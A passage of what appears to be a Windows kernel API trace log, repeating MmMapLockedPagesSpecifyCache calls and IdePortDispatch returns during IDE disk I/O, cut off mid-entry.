[0067.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003525610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.849] IdePortDispatch () returned 0x103 [0067.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003525b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.849] IdePortDispatch () returned 0x103 [0067.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003525010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.850] IdePortDispatch () returned 0x103 [0067.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003524610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.850] IdePortDispatch () returned 0x103 [0067.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003524b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.851] IdePortDispatch () returned 0x103 [0067.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003524010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.852] IdePortDispatch () returned 0x103 [0067.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003523610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.852] IdePortDispatch () returned 0x103 [0067.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003523b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.853] IdePortDispatch () returned 0x103 [0067.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003523010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.853] IdePortDispatch () returned 0x103 [0067.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003522610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.854] IdePortDispatch () returned 0x103 [0067.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003522b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.854] IdePortDispatch () returned 0x103 [0067.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003522010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.855] IdePortDispatch () returned 0x103 [0067.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003521610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.856] IdePortDispatch () returned 0x103 [0067.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003521b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.856] IdePortDispatch () returned 0x103 [0067.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003521010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.858] IdePortDispatch () returned 0x103 [0067.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003520610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.858] IdePortDispatch () returned 0x103 [0067.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003520b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.859] IdePortDispatch () returned 0x103 [0067.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003520010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.859] IdePortDispatch () returned 0x103 [0067.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351f610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.860] IdePortDispatch () returned 0x103 [0067.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351fb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.865] IdePortDispatch () returned 0x103 [0067.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351f010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0e000 [0067.866] IdePortDispatch () returned 0x103 [0067.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351e610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2e000 [0067.866] IdePortDispatch () returned 0x103 [0067.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351eb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.867] IdePortDispatch () returned 0x103 [0067.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.867] IdePortDispatch () returned 0x103 [0067.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351d610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.868] IdePortDispatch () returned 0x103 [0067.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351db10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.869] IdePortDispatch () returned 0x103 [0067.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351d010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.869] IdePortDispatch () returned 0x103 [0067.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351c610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.870] IdePortDispatch () returned 0x103 [0067.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351cb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.870] IdePortDispatch () returned 0x103 [0067.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351c010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.871] IdePortDispatch () returned 0x103 [0067.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351b610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.871] IdePortDispatch () returned 0x103 [0067.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351bb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0067.872] IdePortDispatch () returned 0x103 [0067.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351b010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.873] IdePortDispatch () returned 0x103 [0067.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351a610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.873] IdePortDispatch () returned 0x103 [0067.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351ab10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.874] IdePortDispatch () returned 0x103 [0067.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800351a010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.874] IdePortDispatch () returned 0x103 [0067.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003519610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.875] IdePortDispatch () returned 0x103 [0067.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003519b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.876] IdePortDispatch () returned 0x103 [0067.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003519010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.876] IdePortDispatch () returned 0x103 [0067.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003518610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.877] IdePortDispatch () returned 0x103 [0067.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003518b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.878] IdePortDispatch () returned 0x103 [0067.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003518010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.878] IdePortDispatch () returned 0x103 [0067.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003517610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.879] IdePortDispatch () returned 0x103 [0067.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003517b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.879] IdePortDispatch () returned 0x103 [0067.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003517010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.880] IdePortDispatch () returned 0x103 [0067.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003516610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.882] IdePortDispatch () returned 0x103 [0067.882] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003516b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.883] IdePortDispatch () returned 0x103 [0067.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003516010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.884] IdePortDispatch () returned 0x103 [0067.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003515610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.884] IdePortDispatch () returned 0x103 [0067.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003515b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.885] IdePortDispatch () returned 0x103 [0067.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003515010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.886] IdePortDispatch () returned 0x103 [0067.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003514610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.887] IdePortDispatch () returned 0x103 [0067.887] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003514b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.888] IdePortDispatch () returned 0x103 [0067.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003514010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.888] IdePortDispatch () returned 0x103 [0067.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0067.889] IdePortDispatch () returned 0x103 [0067.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0067.890] IdePortDispatch () returned 0x103 [0067.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0067.891] IdePortDispatch () returned 0x103 [0067.891] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0067.891] IdePortDispatch () returned 0x103 [0067.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0067.892] IdePortDispatch () returned 0x103 [0067.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.893] IdePortDispatch () returned 0x103 [0067.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.894] IdePortDispatch () returned 0x103 [0067.894] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.895] IdePortDispatch () returned 0x103 [0067.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.895] IdePortDispatch () returned 0x103 [0067.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003510610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.896] IdePortDispatch () returned 0x103 [0067.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003510b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.897] IdePortDispatch () returned 0x103 [0067.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003510010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.897] IdePortDispatch () returned 0x103 [0067.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350f610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.898] IdePortDispatch () returned 0x103 [0067.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350fb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.899] IdePortDispatch () returned 0x103 [0067.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350f010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0067.900] IdePortDispatch () returned 0x103 [0067.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350e610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.900] IdePortDispatch () returned 0x103 [0067.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350eb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.901] IdePortDispatch () returned 0x103 [0067.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.902] IdePortDispatch () returned 0x103 [0067.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350d610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.903] IdePortDispatch () returned 0x103 [0067.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350db10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.903] IdePortDispatch () returned 0x103 [0067.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350d010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.904] IdePortDispatch () returned 0x103 [0067.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350c610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.905] IdePortDispatch () returned 0x103 [0067.905] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350cb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.906] IdePortDispatch () returned 0x103 [0067.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350c010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.906] IdePortDispatch () returned 0x103 [0067.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350b610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.907] IdePortDispatch () returned 0x103 [0067.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350bb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.908] IdePortDispatch () returned 0x103 [0067.909] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350b010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.909] IdePortDispatch () returned 0x103 [0067.909] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350a610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.910] IdePortDispatch () returned 0x103 [0067.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350ab10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.912] IdePortDispatch () returned 0x103 [0067.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800350a010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.913] IdePortDispatch () returned 0x103 [0067.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003509610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.913] IdePortDispatch () returned 0x103 [0067.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003509b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.914] IdePortDispatch () returned 0x103 [0067.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003509010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.915] IdePortDispatch () returned 0x103 [0067.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003508610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.915] IdePortDispatch () returned 0x103 [0067.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003508b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.916] IdePortDispatch () returned 0x103 [0067.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003508010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.916] IdePortDispatch () returned 0x103 [0067.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003507610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.916] IdePortDispatch () returned 0x103 [0067.917] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003507b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0067.918] IdePortDispatch () returned 0x103 [0067.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003507010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0067.919] IdePortDispatch () returned 0x103 [0067.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003506610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0067.919] IdePortDispatch () returned 0x103 [0067.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003506b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0067.920] IdePortDispatch () returned 0x103 [0067.920] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003506010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0067.921] IdePortDispatch () returned 0x103 [0067.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003505610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.922] IdePortDispatch () returned 0x103 [0067.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003505b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.922] IdePortDispatch () returned 0x103 [0067.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003505010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.923] IdePortDispatch () returned 0x103 [0067.923] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003504610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.924] IdePortDispatch () returned 0x103 [0067.924] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003504b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.925] IdePortDispatch () returned 0x103 [0067.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003504010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.925] IdePortDispatch () returned 0x103 [0067.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003503610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.926] IdePortDispatch () returned 0x103 [0067.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003503b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.927] IdePortDispatch () returned 0x103 [0067.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003503010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.928] IdePortDispatch () returned 0x103 [0067.928] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003502610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0067.928] IdePortDispatch () returned 0x103 [0067.928] MmMapLockedPagesSpecifyCache 